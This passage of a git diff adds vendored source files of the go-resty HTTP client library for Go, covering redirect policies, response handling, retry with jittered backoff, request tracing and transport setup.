return RedirectPolicyFunc(func(req *http.Request, via []*http.Request) error {
|
||||
return ErrAutoRedirectDisabled
|
||||
})
|
||||
}
|
||||
|
||||
// FlexibleRedirectPolicy is convenient method to create No of redirect policy for HTTP client.
|
||||
//
|
||||
// resty.SetRedirectPolicy(FlexibleRedirectPolicy(20))
|
||||
func FlexibleRedirectPolicy(noOfRedirect int) RedirectPolicy {
|
||||
return RedirectPolicyFunc(func(req *http.Request, via []*http.Request) error {
|
||||
if len(via) >= noOfRedirect {
|
||||
return fmt.Errorf("stopped after %d redirects", noOfRedirect)
|
||||
}
|
||||
checkHostAndAddHeaders(req, via[0])
|
||||
return nil
|
||||
})
|
||||
}
|
||||
|
||||
// DomainCheckRedirectPolicy is convenient method to define domain name redirect rule in resty client.
|
||||
// Redirect is allowed for only mentioned host in the policy.
|
||||
//
|
||||
// resty.SetRedirectPolicy(DomainCheckRedirectPolicy("host1.com", "host2.org", "host3.net"))
|
||||
func DomainCheckRedirectPolicy(hostnames ...string) RedirectPolicy {
|
||||
hosts := make(map[string]bool)
|
||||
for _, h := range hostnames {
|
||||
hosts[strings.ToLower(h)] = true
|
||||
}
|
||||
|
||||
fn := RedirectPolicyFunc(func(req *http.Request, via []*http.Request) error {
|
||||
if ok := hosts[getHostname(req.URL.Host)]; !ok {
|
||||
return errors.New("redirect is not allowed as per DomainCheckRedirectPolicy")
|
||||
}
|
||||
|
||||
return nil
|
||||
})
|
||||
|
||||
return fn
|
||||
}
|
||||
|
||||
//‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾
|
||||
// Package Unexported methods
|
||||
//_______________________________________________________________________
|
||||
|
||||
func getHostname(host string) (hostname string) {
|
||||
if strings.Index(host, ":") > 0 {
|
||||
host, _, _ = net.SplitHostPort(host)
|
||||
}
|
||||
hostname = strings.ToLower(host)
|
||||
return
|
||||
}
|
||||
|
||||
// By default Golang will not redirect request headers
|
||||
// after go throwing various discussion comments from thread
|
||||
// https://github.com/golang/go/issues/4800
|
||||
// Resty will add all the headers during a redirect for the same host
|
||||
func checkHostAndAddHeaders(cur *http.Request, pre *http.Request) {
|
||||
curHostname := getHostname(cur.URL.Host)
|
||||
preHostname := getHostname(pre.URL.Host)
|
||||
if strings.EqualFold(curHostname, preHostname) {
|
||||
for key, val := range pre.Header {
|
||||
cur.Header[key] = val
|
||||
}
|
||||
} else { // only library User-Agent header is added
|
||||
cur.Header.Set(hdrUserAgentKey, hdrUserAgentValue)
|
||||
}
|
||||
}
|
1097
vendor/github.com/go-resty/resty/v2/request.go
generated
vendored
Normal file
1097
vendor/github.com/go-resty/resty/v2/request.go
generated
vendored
Normal file
File diff suppressed because it is too large
Load Diff
189
vendor/github.com/go-resty/resty/v2/response.go
generated
vendored
Normal file
189
vendor/github.com/go-resty/resty/v2/response.go
generated
vendored
Normal file
@ -0,0 +1,189 @@
|
||||
// Copyright (c) 2015-2023 Jeevanandam M (jeeva@myjeeva.com), All rights reserved.
|
||||
// resty source code and usage is governed by a MIT style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package resty
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
//‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾
|
||||
// Response struct and methods
|
||||
//_______________________________________________________________________
|
||||
|
||||
// Response struct holds response values of executed request.
|
||||
type Response struct {
|
||||
Request *Request
|
||||
RawResponse *http.Response
|
||||
|
||||
body []byte
|
||||
size int64
|
||||
receivedAt time.Time
|
||||
}
|
||||
|
||||
// Body method returns HTTP response as []byte array for the executed request.
|
||||
//
|
||||
// Note: `Response.Body` might be nil, if `Request.SetOutput` is used.
|
||||
func (r *Response) Body() []byte {
|
||||
if r.RawResponse == nil {
|
||||
return []byte{}
|
||||
}
|
||||
return r.body
|
||||
}
|
||||
|
||||
// SetBody method is to set Response body in byte slice. Typically,
|
||||
// its helpful for test cases.
|
||||
//
|
||||
// resp.SetBody([]byte("This is test body content"))
|
||||
// resp.SetBody(nil)
|
||||
//
|
||||
// Since v2.10.0
|
||||
func (r *Response) SetBody(b []byte) *Response {
|
||||
r.body = b
|
||||
return r
|
||||
}
|
||||
|
||||
// Status method returns the HTTP status string for the executed request.
|
||||
//
|
||||
// Example: 200 OK
|
||||
func (r *Response) Status() string {
|
||||
if r.RawResponse == nil {
|
||||
return ""
|
||||
}
|
||||
return r.RawResponse.Status
|
||||
}
|
||||
|
||||
// StatusCode method returns the HTTP status code for the executed request.
|
||||
//
|
||||
// Example: 200
|
||||
func (r *Response) StatusCode() int {
|
||||
if r.RawResponse == nil {
|
||||
return 0
|
||||
}
|
||||
return r.RawResponse.StatusCode
|
||||
}
|
||||
|
||||
// Proto method returns the HTTP response protocol used for the request.
|
||||
func (r *Response) Proto() string {
|
||||
if r.RawResponse == nil {
|
||||
return ""
|
||||
}
|
||||
return r.RawResponse.Proto
|
||||
}
|
||||
|
||||
// Result method returns the response value as an object if it has one
|
||||
func (r *Response) Result() interface{} {
|
||||
return r.Request.Result
|
||||
}
|
||||
|
||||
// Error method returns the error object if it has one
|
||||
func (r *Response) Error() interface{} {
|
||||
return r.Request.Error
|
||||
}
|
||||
|
||||
// Header method returns the response headers
|
||||
func (r *Response) Header() http.Header {
|
||||
if r.RawResponse == nil {
|
||||
return http.Header{}
|
||||
}
|
||||
return r.RawResponse.Header
|
||||
}
|
||||
|
||||
// Cookies method to access all the response cookies
|
||||
func (r *Response) Cookies() []*http.Cookie {
|
||||
if r.RawResponse == nil {
|
||||
return make([]*http.Cookie, 0)
|
||||
}
|
||||
return r.RawResponse.Cookies()
|
||||
}
|
||||
|
||||
// String method returns the body of the server response as String.
|
||||
func (r *Response) String() string {
|
||||
if len(r.body) == 0 {
|
||||
return ""
|
||||
}
|
||||
return strings.TrimSpace(string(r.body))
|
||||
}
|
||||
|
||||
// Time method returns the time of HTTP response time that from request we sent and received a request.
|
||||
//
|
||||
// See `Response.ReceivedAt` to know when client received response and see `Response.Request.Time` to know
|
||||
// when client sent a request.
|
||||
func (r *Response) Time() time.Duration {
|
||||
if r.Request.clientTrace != nil {
|
||||
return r.Request.TraceInfo().TotalTime
|
||||
}
|
||||
return r.receivedAt.Sub(r.Request.Time)
|
||||
}
|
||||
|
||||
// ReceivedAt method returns when response got received from server for the request.
|
||||
func (r *Response) ReceivedAt() time.Time {
|
||||
return r.receivedAt
|
||||
}
|
||||
|
||||
// Size method returns the HTTP response size in bytes. Ya, you can relay on HTTP `Content-Length` header,
|
||||
// however it won't be good for chucked transfer/compressed response. Since Resty calculates response size
|
||||
// at the client end. You will get actual size of the http response.
|
||||
func (r *Response) Size() int64 {
|
||||
return r.size
|
||||
}
|
||||
|
||||
// RawBody method exposes the HTTP raw response body. Use this method in-conjunction with `SetDoNotParseResponse`
|
||||
// option otherwise you get an error as `read err: http: read on closed response body`.
|
||||
//
|
||||
// Do not forget to close the body, otherwise you might get into connection leaks, no connection reuse.
|
||||
// Basically you have taken over the control of response parsing from `Resty`.
|
||||
func (r *Response) RawBody() io.ReadCloser {
|
||||
if r.RawResponse == nil {
|
||||
return nil
|
||||
}
|
||||
return r.RawResponse.Body
|
||||
}
|
||||
|
||||
// IsSuccess method returns true if HTTP status `code >= 200 and <= 299` otherwise false.
|
||||
func (r *Response) IsSuccess() bool {
|
||||
return r.StatusCode() > 199 && r.StatusCode() < 300
|
||||
}
|
||||
|
||||
// IsError method returns true if HTTP status `code >= 400` otherwise false.
|
||||
func (r *Response) IsError() bool {
|
||||
return r.StatusCode() > 399
|
||||
}
|
||||
|
||||
//‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾
|
||||
// Response Unexported methods
|
||||
//_______________________________________________________________________
|
||||
|
||||
func (r *Response) setReceivedAt() {
|
||||
r.receivedAt = time.Now()
|
||||
if r.Request.clientTrace != nil {
|
||||
r.Request.clientTrace.endTime = r.receivedAt
|
||||
}
|
||||
}
|
||||
|
||||
func (r *Response) fmtBodyString(sl int64) string {
|
||||
if len(r.body) > 0 {
|
||||
if int64(len(r.body)) > sl {
|
||||
return fmt.Sprintf("***** RESPONSE TOO LARGE (size - %d) *****", len(r.body))
|
||||
}
|
||||
ct := r.Header().Get(hdrContentTypeKey)
|
||||
if IsJSONType(ct) {
|
||||
out := acquireBuffer()
|
||||
defer releaseBuffer(out)
|
||||
err := json.Indent(out, r.body, "", " ")
|
||||
if err != nil {
|
||||
return fmt.Sprintf("*** Error: Unable to format response body - \"%s\" ***\n\nLog Body as-is:\n%s", err, r.String())
|
||||
}
|
||||
return out.String()
|
||||
}
|
||||
return r.String()
|
||||
}
|
||||
|
||||
return "***** NO CONTENT *****"
|
||||
}
|
40
vendor/github.com/go-resty/resty/v2/resty.go
generated
vendored
Normal file
40
vendor/github.com/go-resty/resty/v2/resty.go
generated
vendored
Normal file
@ -0,0 +1,40 @@
|
||||
// Copyright (c) 2015-2023 Jeevanandam M (jeeva@myjeeva.com), All rights reserved.
|
||||
// resty source code and usage is governed by a MIT style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
// Package resty provides Simple HTTP and REST client library for Go.
|
||||
package resty
|
||||
|
||||
import (
|
||||
"net"
|
||||
"net/http"
|
||||
"net/http/cookiejar"
|
||||
|
||||
"golang.org/x/net/publicsuffix"
|
||||
)
|
||||
|
||||
// Version # of resty
|
||||
const Version = "2.12.0"
|
||||
|
||||
// New method creates a new Resty client.
|
||||
func New() *Client {
|
||||
cookieJar, _ := cookiejar.New(&cookiejar.Options{PublicSuffixList: publicsuffix.List})
|
||||
return createClient(&http.Client{
|
||||
Jar: cookieJar,
|
||||
})
|
||||
}
|
||||
|
||||
// NewWithClient method creates a new Resty client with given `http.Client`.
|
||||
func NewWithClient(hc *http.Client) *Client {
|
||||
return createClient(hc)
|
||||
}
|
||||
|
||||
// NewWithLocalAddr method creates a new Resty client with given Local Address
|
||||
// to dial from.
|
||||
func NewWithLocalAddr(localAddr net.Addr) *Client {
|
||||
cookieJar, _ := cookiejar.New(&cookiejar.Options{PublicSuffixList: publicsuffix.List})
|
||||
return createClient(&http.Client{
|
||||
Jar: cookieJar,
|
||||
Transport: createTransport(localAddr),
|
||||
})
|
||||
}
|
252
vendor/github.com/go-resty/resty/v2/retry.go
generated
vendored
Normal file
252
vendor/github.com/go-resty/resty/v2/retry.go
generated
vendored
Normal file
@ -0,0 +1,252 @@
|
||||
// Copyright (c) 2015-2023 Jeevanandam M (jeeva@myjeeva.com), All rights reserved.
|
||||
// resty source code and usage is governed by a MIT style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package resty
|
||||
|
||||
import (
|
||||
"context"
|
||||
"io"
|
||||
"math"
|
||||
"math/rand"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
const (
|
||||
defaultMaxRetries = 3
|
||||
defaultWaitTime = time.Duration(100) * time.Millisecond
|
||||
defaultMaxWaitTime = time.Duration(2000) * time.Millisecond
|
||||
)
|
||||
|
||||
type (
|
||||
// Option is to create convenient retry options like wait time, max retries, etc.
|
||||
Option func(*Options)
|
||||
|
||||
// RetryConditionFunc type is for retry condition function
|
||||
// input: non-nil Response OR request execution error
|
||||
RetryConditionFunc func(*Response, error) bool
|
||||
|
||||
// OnRetryFunc is for side-effecting functions triggered on retry
|
||||
OnRetryFunc func(*Response, error)
|
||||
|
||||
// RetryAfterFunc returns time to wait before retry
|
||||
// For example, it can parse HTTP Retry-After header
|
||||
// https://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html
|
||||
// Non-nil error is returned if it is found that request is not retryable
|
||||
// (0, nil) is a special result means 'use default algorithm'
|
||||
RetryAfterFunc func(*Client, *Response) (time.Duration, error)
|
||||
|
||||
// Options struct is used to hold retry settings.
|
||||
Options struct {
|
||||
maxRetries int
|
||||
waitTime time.Duration
|
||||
maxWaitTime time.Duration
|
||||
retryConditions []RetryConditionFunc
|
||||
retryHooks []OnRetryFunc
|
||||
resetReaders bool
|
||||
}
|
||||
)
|
||||
|
||||
// Retries sets the max number of retries
|
||||
func Retries(value int) Option {
|
||||
return func(o *Options) {
|
||||
o.maxRetries = value
|
||||
}
|
||||
}
|
||||
|
||||
// WaitTime sets the default wait time to sleep between requests
|
||||
func WaitTime(value time.Duration) Option {
|
||||
return func(o *Options) {
|
||||
o.waitTime = value
|
||||
}
|
||||
}
|
||||
|
||||
// MaxWaitTime sets the max wait time to sleep between requests
|
||||
func MaxWaitTime(value time.Duration) Option {
|
||||
return func(o *Options) {
|
||||
o.maxWaitTime = value
|
||||
}
|
||||
}
|
||||
|
||||
// RetryConditions sets the conditions that will be checked for retry.
|
||||
func RetryConditions(conditions []RetryConditionFunc) Option {
|
||||
return func(o *Options) {
|
||||
o.retryConditions = conditions
|
||||
}
|
||||
}
|
||||
|
||||
// RetryHooks sets the hooks that will be executed after each retry
|
||||
func RetryHooks(hooks []OnRetryFunc) Option {
|
||||
return func(o *Options) {
|
||||
o.retryHooks = hooks
|
||||
}
|
||||
}
|
||||
|
||||
// ResetMultipartReaders sets a boolean value which will lead the start being seeked out
|
||||
// on all multipart file readers, if they implement io.ReadSeeker
|
||||
func ResetMultipartReaders(value bool) Option {
|
||||
return func(o *Options) {
|
||||
o.resetReaders = value
|
||||
}
|
||||
}
|
||||
|
||||
// Backoff retries with increasing timeout duration up until X amount of retries
|
||||
// (Default is 3 attempts, Override with option Retries(n))
|
||||
func Backoff(operation func() (*Response, error), options ...Option) error {
|
||||
// Defaults
|
||||
opts := Options{
|
||||
maxRetries: defaultMaxRetries,
|
||||
waitTime: defaultWaitTime,
|
||||
maxWaitTime: defaultMaxWaitTime,
|
||||
retryConditions: []RetryConditionFunc{},
|
||||
}
|
||||
|
||||
for _, o := range options {
|
||||
o(&opts)
|
||||
}
|
||||
|
||||
var (
|
||||
resp *Response
|
||||
err error
|
||||
)
|
||||
|
||||
for attempt := 0; attempt <= opts.maxRetries; attempt++ {
|
||||
resp, err = operation()
|
||||
ctx := context.Background()
|
||||
if resp != nil && resp.Request.ctx != nil {
|
||||
ctx = resp.Request.ctx
|
||||
}
|
||||
if ctx.Err() != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
err1 := unwrapNoRetryErr(err) // raw error, it used for return users callback.
|
||||
needsRetry := err != nil && err == err1 // retry on a few operation errors by default
|
||||
|
||||
for _, condition := range opts.retryConditions {
|
||||
needsRetry = condition(resp, err1)
|
||||
if needsRetry {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if !needsRetry {
|
||||
return err
|
||||
}
|
||||
|
||||
if opts.resetReaders {
|
||||
if err := resetFileReaders(resp.Request.multipartFiles); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
for _, hook := range opts.retryHooks {
|
||||
hook(resp, err)
|
||||
}
|
||||
|
||||
// Don't need to wait when no retries left.
|
||||
// Still run retry hooks even on last retry to keep compatibility.
|
||||
if attempt == opts.maxRetries {
|
||||
return err
|
||||
}
|
||||
|
||||
waitTime, err2 := sleepDuration(resp, opts.waitTime, opts.maxWaitTime, attempt)
|
||||
if err2 != nil {
|
||||
if err == nil {
|
||||
err = err2
|
||||
}
|
||||
return err
|
||||
}
|
||||
|
||||
select {
|
||||
case <-time.After(waitTime):
|
||||
case <-ctx.Done():
|
||||
return ctx.Err()
|
||||
}
|
||||
}
|
||||
|
||||
return err
|
||||
}
|
||||
|
||||
func sleepDuration(resp *Response, min, max time.Duration, attempt int) (time.Duration, error) {
|
||||
const maxInt = 1<<31 - 1 // max int for arch 386
|
||||
if max < 0 {
|
||||
max = maxInt
|
||||
}
|
||||
if resp == nil {
|
||||
return jitterBackoff(min, max, attempt), nil
|
||||
}
|
||||
|
||||
retryAfterFunc := resp.Request.client.RetryAfter
|
||||
|
||||
// Check for custom callback
|
||||
if retryAfterFunc == nil {
|
||||
return jitterBackoff(min, max, attempt), nil
|
||||
}
|
||||
|
||||
result, err := retryAfterFunc(resp.Request.client, resp)
|
||||
if err != nil {
|
||||
return 0, err // i.e. 'API quota exceeded'
|
||||
}
|
||||
if result == 0 {
|
||||
return jitterBackoff(min, max, attempt), nil
|
||||
}
|
||||
if result < 0 || max < result {
|
||||
result = max
|
||||
}
|
||||
if result < min {
|
||||
result = min
|
||||
}
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// Return capped exponential backoff with jitter
|
||||
// http://www.awsarchitectureblog.com/2015/03/backoff.html
|
||||
func jitterBackoff(min, max time.Duration, attempt int) time.Duration {
|
||||
base := float64(min)
|
||||
capLevel := float64(max)
|
||||
|
||||
temp := math.Min(capLevel, base*math.Exp2(float64(attempt)))
|
||||
ri := time.Duration(temp / 2)
|
||||
if ri == 0 {
|
||||
ri = time.Nanosecond
|
||||
}
|
||||
result := randDuration(ri)
|
||||
|
||||
if result < min {
|
||||
result = min
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
var rnd = newRnd()
|
||||
var rndMu sync.Mutex
|
||||
|
||||
func randDuration(center time.Duration) time.Duration {
|
||||
rndMu.Lock()
|
||||
defer rndMu.Unlock()
|
||||
|
||||
var ri = int64(center)
|
||||
var jitter = rnd.Int63n(ri)
|
||||
return time.Duration(math.Abs(float64(ri + jitter)))
|
||||
}
|
||||
|
||||
func newRnd() *rand.Rand {
|
||||
var seed = time.Now().UnixNano()
|
||||
var src = rand.NewSource(seed)
|
||||
return rand.New(src)
|
||||
}
|
||||
|
||||
func resetFileReaders(files []*File) error {
|
||||
for _, f := range files {
|
||||
if rs, ok := f.Reader.(io.ReadSeeker); ok {
|
||||
if _, err := rs.Seek(0, io.SeekStart); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
130
vendor/github.com/go-resty/resty/v2/trace.go
generated
vendored
Normal file
130
vendor/github.com/go-resty/resty/v2/trace.go
generated
vendored
Normal file
@ -0,0 +1,130 @@
|
||||
// Copyright (c) 2015-2023 Jeevanandam M (jeeva@myjeeva.com), All rights reserved.
|
||||
// resty source code and usage is governed by a MIT style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package resty
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/tls"
|
||||
"net"
|
||||
"net/http/httptrace"
|
||||
"time"
|
||||
)
|
||||
|
||||
//‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾
|
||||
// TraceInfo struct
|
||||
//_______________________________________________________________________
|
||||
|
||||
// TraceInfo struct is used provide request trace info such as DNS lookup
|
||||
// duration, Connection obtain duration, Server processing duration, etc.
|
||||
//
|
||||
// Since v2.0.0
|
||||
type TraceInfo struct {
|
||||
// DNSLookup is a duration that transport took to perform
|
||||
// DNS lookup.
|
||||
DNSLookup time.Duration
|
||||
|
||||
// ConnTime is a duration that took to obtain a successful connection.
|
||||
ConnTime time.Duration
|
||||
|
||||
// TCPConnTime is a duration that took to obtain the TCP connection.
|
||||
TCPConnTime time.Duration
|
||||
|
||||
// TLSHandshake is a duration that TLS handshake took place.
|
||||
TLSHandshake time.Duration
|
||||
|
||||
// ServerTime is a duration that server took to respond first byte.
|
||||
ServerTime time.Duration
|
||||
|
||||
// ResponseTime is a duration since first response byte from server to
|
||||
// request completion.
|
||||
ResponseTime time.Duration
|
||||
|
||||
// TotalTime is a duration that total request took end-to-end.
|
||||
TotalTime time.Duration
|
||||
|
||||
// IsConnReused is whether this connection has been previously
|
||||
// used for another HTTP request.
|
||||
IsConnReused bool
|
||||
|
||||
// IsConnWasIdle is whether this connection was obtained from an
|
||||
// idle pool.
|
||||
IsConnWasIdle bool
|
||||
|
||||
// ConnIdleTime is a duration how long the connection was previously
|
||||
// idle, if IsConnWasIdle is true.
|
||||
ConnIdleTime time.Duration
|
||||
|
||||
// RequestAttempt is to represent the request attempt made during a Resty
|
||||
// request execution flow, including retry count.
|
||||
RequestAttempt int
|
||||
|
||||
// RemoteAddr returns the remote network address.
|
||||
RemoteAddr net.Addr
|
||||
}
|
||||
|
||||
//‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾
|
||||
// ClientTrace struct and its methods
|
||||
//_______________________________________________________________________
|
||||
|
||||
// tracer struct maps the `httptrace.ClientTrace` hooks into Fields
|
||||
// with same naming for easy understanding. Plus additional insights
|
||||
// Request.
|
||||
type clientTrace struct {
|
||||
getConn time.Time
|
||||
dnsStart time.Time
|
||||
dnsDone time.Time
|
||||
connectDone time.Time
|
||||
tlsHandshakeStart time.Time
|
||||
tlsHandshakeDone time.Time
|
||||
gotConn time.Time
|
||||
gotFirstResponseByte time.Time
|
||||
endTime time.Time
|
||||
gotConnInfo httptrace.GotConnInfo
|
||||
}
|
||||
|
||||
//‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾
|
||||
// Trace unexported methods
|
||||
//_______________________________________________________________________
|
||||
|
||||
func (t *clientTrace) createContext(ctx context.Context) context.Context {
|
||||
return httptrace.WithClientTrace(
|
||||
ctx,
|
||||
&httptrace.ClientTrace{
|
||||
DNSStart: func(_ httptrace.DNSStartInfo) {
|
||||
t.dnsStart = time.Now()
|
||||
},
|
||||
DNSDone: func(_ httptrace.DNSDoneInfo) {
|
||||
t.dnsDone = time.Now()
|
||||
},
|
||||
ConnectStart: func(_, _ string) {
|
||||
if t.dnsDone.IsZero() {
|
||||
t.dnsDone = time.Now()
|
||||
}
|
||||
if t.dnsStart.IsZero() {
|
||||
t.dnsStart = t.dnsDone
|
||||
}
|
||||
},
|
||||
ConnectDone: func(net, addr string, err error) {
|
||||
t.connectDone = time.Now()
|
||||
},
|
||||
GetConn: func(_ string) {
|
||||
t.getConn = time.Now()
|
||||
},
|
||||
GotConn: func(ci httptrace.GotConnInfo) {
|
||||
t.gotConn = time.Now()
|
||||
t.gotConnInfo = ci
|
||||
},
|
||||
GotFirstResponseByte: func() {
|
||||
t.gotFirstResponseByte = time.Now()
|
||||
},
|
||||
TLSHandshakeStart: func() {
|
||||
t.tlsHandshakeStart = time.Now()
|
||||
},
|
||||
TLSHandshakeDone: func(_ tls.ConnectionState, _ error) {
|
||||
t.tlsHandshakeDone = time.Now()
|
||||
},
|
||||
},
|
||||
)
|
||||
}
|
36
vendor/github.com/go-resty/resty/v2/transport.go
generated
vendored
Normal file
36
vendor/github.com/go-resty/resty/v2/transport.go
generated
vendored
Normal file
@ -0,0 +1,36 @@
|
||||
//go:build go1.13
|
||||
// +build go1.13
|
||||
|
||||
// Copyright (c) 2015-2023 Jeevanandam M (jeeva@myjeeva.com), All rights reserved.
|
||||
// resty source code and usage is governed by a MIT style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package resty
|
||||
|
||||
import (
|
||||
"net"
|
||||
"net/http"
|
||||
"runtime"
|
||||
"time"
|
||||
)
|
||||
|
||||
func createTransport(localAddr net.Addr) *http.Transport {
|
||||
dialer := &net.Dialer{
|
||||
Timeout: 30 * time.Second,
|
||||
KeepAlive: 30 * time.Second,
|
||||
DualStack: true,
|
||||
}
|
||||
if localAddr != nil {
|
||||
dialer.LocalAddr = localAddr
|
||||
}
|
||||
return &http.Transport{
|
||||
Proxy: http.ProxyFromEnvironment,
|
||||
DialContext: transportDialContext(dialer),
|
||||
ForceAttemptHTTP2: true,
|
||||
MaxIdleConns: 100,
|
||||
IdleConnTimeout: 90 * time.Second,
|
||||
TLSHandshakeTimeout: 10 * time.Second,
|
||||
ExpectContinueTimeout: 1 * time.Second,
|
||||
MaxIdleConnsPerHost: runtime.GOMAXPROCS(0) + 1,
|
||||
}
|
||||
}
|
35
vendor/github.com/go-resty/resty/v2/transport112.go
generated
vendored
Normal file
35
vendor/github.com/go-resty/resty/v2/transport112.go
generated
vendored
Normal file
@ -0,0 +1,35 @@
|
||||
//go:build !go1.13
|
||||
// +build !go1.13
|
||||
|
||||
// Copyright (c) 2015-2023 Jeevanandam M (jeeva@myjeeva.com), All rights reserved.
|
||||
// resty source code and usage is governed by a MIT style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package resty
|
||||
|
||||
import (
|
||||
"net"
|
||||
"net/http"
|
||||
"runtime"
|
||||
"time"
|
||||
)
|
||||
|
||||
func createTransport(localAddr net.Addr) *http.Transport {
|
||||
dialer := &net.Dialer{
|
||||
Timeout: 30 * time.Second,
|
||||
KeepAlive: 30 * time.Second,
|
||||
DualStack: true,
|
||||
}
|
||||
if localAddr != nil {
|
||||
dialer.LocalAddr = localAddr
|
||||
}
|
||||
return &http.Transport{
|
||||
Proxy: http.ProxyFromEnvironment,
|
||||
DialContext: dialer.DialContext,
|
||||
MaxIdleConns: 100,
|
||||
IdleConnTimeout: 90 * time.Second,
|
||||
TLSHandshakeTimeout: 10 * time.Second,
|
||||
ExpectContinueTimeout: 1 * time.Second,
|
||||
MaxIdleConnsPerHost: runtime.GOMAXPROCS(0) + 1,
|
||||
}
|
||||
}
|
17
vendor/github.com/go-resty/resty/v2/transport_js.go
generated
vendored
Normal file
17
vendor/github.com/go-resty/resty/v2/transport_js.go
generated
vendored
Normal file
@ -0,0 +1,17 @@
|
||||
// Copyright 2021 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
//go:build js && wasm
|
||||
// +build js,wasm
|
||||
|
||||
package resty
|
||||
|
||||
import (
|
||||
"context"
|
||||
"net"
|
||||
)
|
||||
|
||||
func transportDialContext(dialer *net.Dialer) func(context.Context, string, string) (net.Conn, error) {
|
||||
return nil
|
||||
}
|
17
vendor/github.com/go-resty/resty/v2/transport_other.go
generated
vendored
Normal file
17
vendor/github.com/go-resty/resty/v2/transport_other.go
generated
vendored
Normal file
@ -0,0 +1,17 @@
|
||||
// Copyright 2021 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
//go:build !(js && wasm)
|
||||
// +build !js !wasm
|
||||
|
||||
package resty
|
||||
|
||||
import (
|
||||
"context"
|
||||
"net"
|
||||
)
|
||||
|
||||
func transportDialContext(dialer *net.Dialer) func(context.Context, string, string) (net.Conn, error) {
|
||||
return dialer.DialContext
|
||||
}
|
384
vendor/github.com/go-resty/resty/v2/util.go
generated
vendored
Normal file
384
vendor/github.com/go-resty/resty/v2/util.go
generated
vendored
Normal file
@ -0,0 +1,384 @@
|
||||
// Copyright (c) 2015-2023 Jeevanandam M (jeeva@myjeeva.com), All rights reserved.
|
||||
// resty source code and usage is governed by a MIT style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package resty
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"mime/multipart"
|
||||
"net/http"
|
||||
"net/textproto"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"reflect"
|
||||
"runtime"
|
||||
"sort"
|
||||
"strings"
|
||||
"sync"
|
||||
)
|
||||
|
||||
//‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾
|
||||
// Logger interface
|
||||
//_______________________________________________________________________
|
||||
|
||||
// Logger interface is to abstract the logging from Resty. Gives control to
|
||||
// the Resty users, choice of the logger.
|
||||
type Logger interface {
|
||||
Errorf(format string, v ...interface{})
|
||||
Warnf(format string, v ...interface{})
|
||||
Debugf(format string, v ...interface{})
|
||||
}
|
||||
|
||||
func createLogger() *logger {
|
||||
l := &logger{l: log.New(os.Stderr, "", log.Ldate|log.Lmicroseconds)}
|
||||
return l
|
||||
}
|
||||
|
||||
var _ Logger = (*logger)(nil)
|
||||
|
||||
type logger struct {
|
||||
l *log.Logger
|
||||
}
|
||||
|
||||
func (l *logger) Errorf(format string, v ...interface{}) {
|
||||
l.output("ERROR RESTY "+format, v...)
|
||||
}
|
||||
|
||||
func (l *logger) Warnf(format string, v ...interface{}) {
|
||||
l.output("WARN RESTY "+format, v...)
|
||||
}
|
||||
|
||||
func (l *logger) Debugf(format string, v ...interface{}) {
|
||||
l.output("DEBUG RESTY "+format, v...)
|
||||
}
|
||||
|
||||
func (l *logger) output(format string, v ...interface{}) {
|
||||
if len(v) == 0 {
|
||||
l.l.Print(format)
|
||||
return
|
||||
}
|
||||
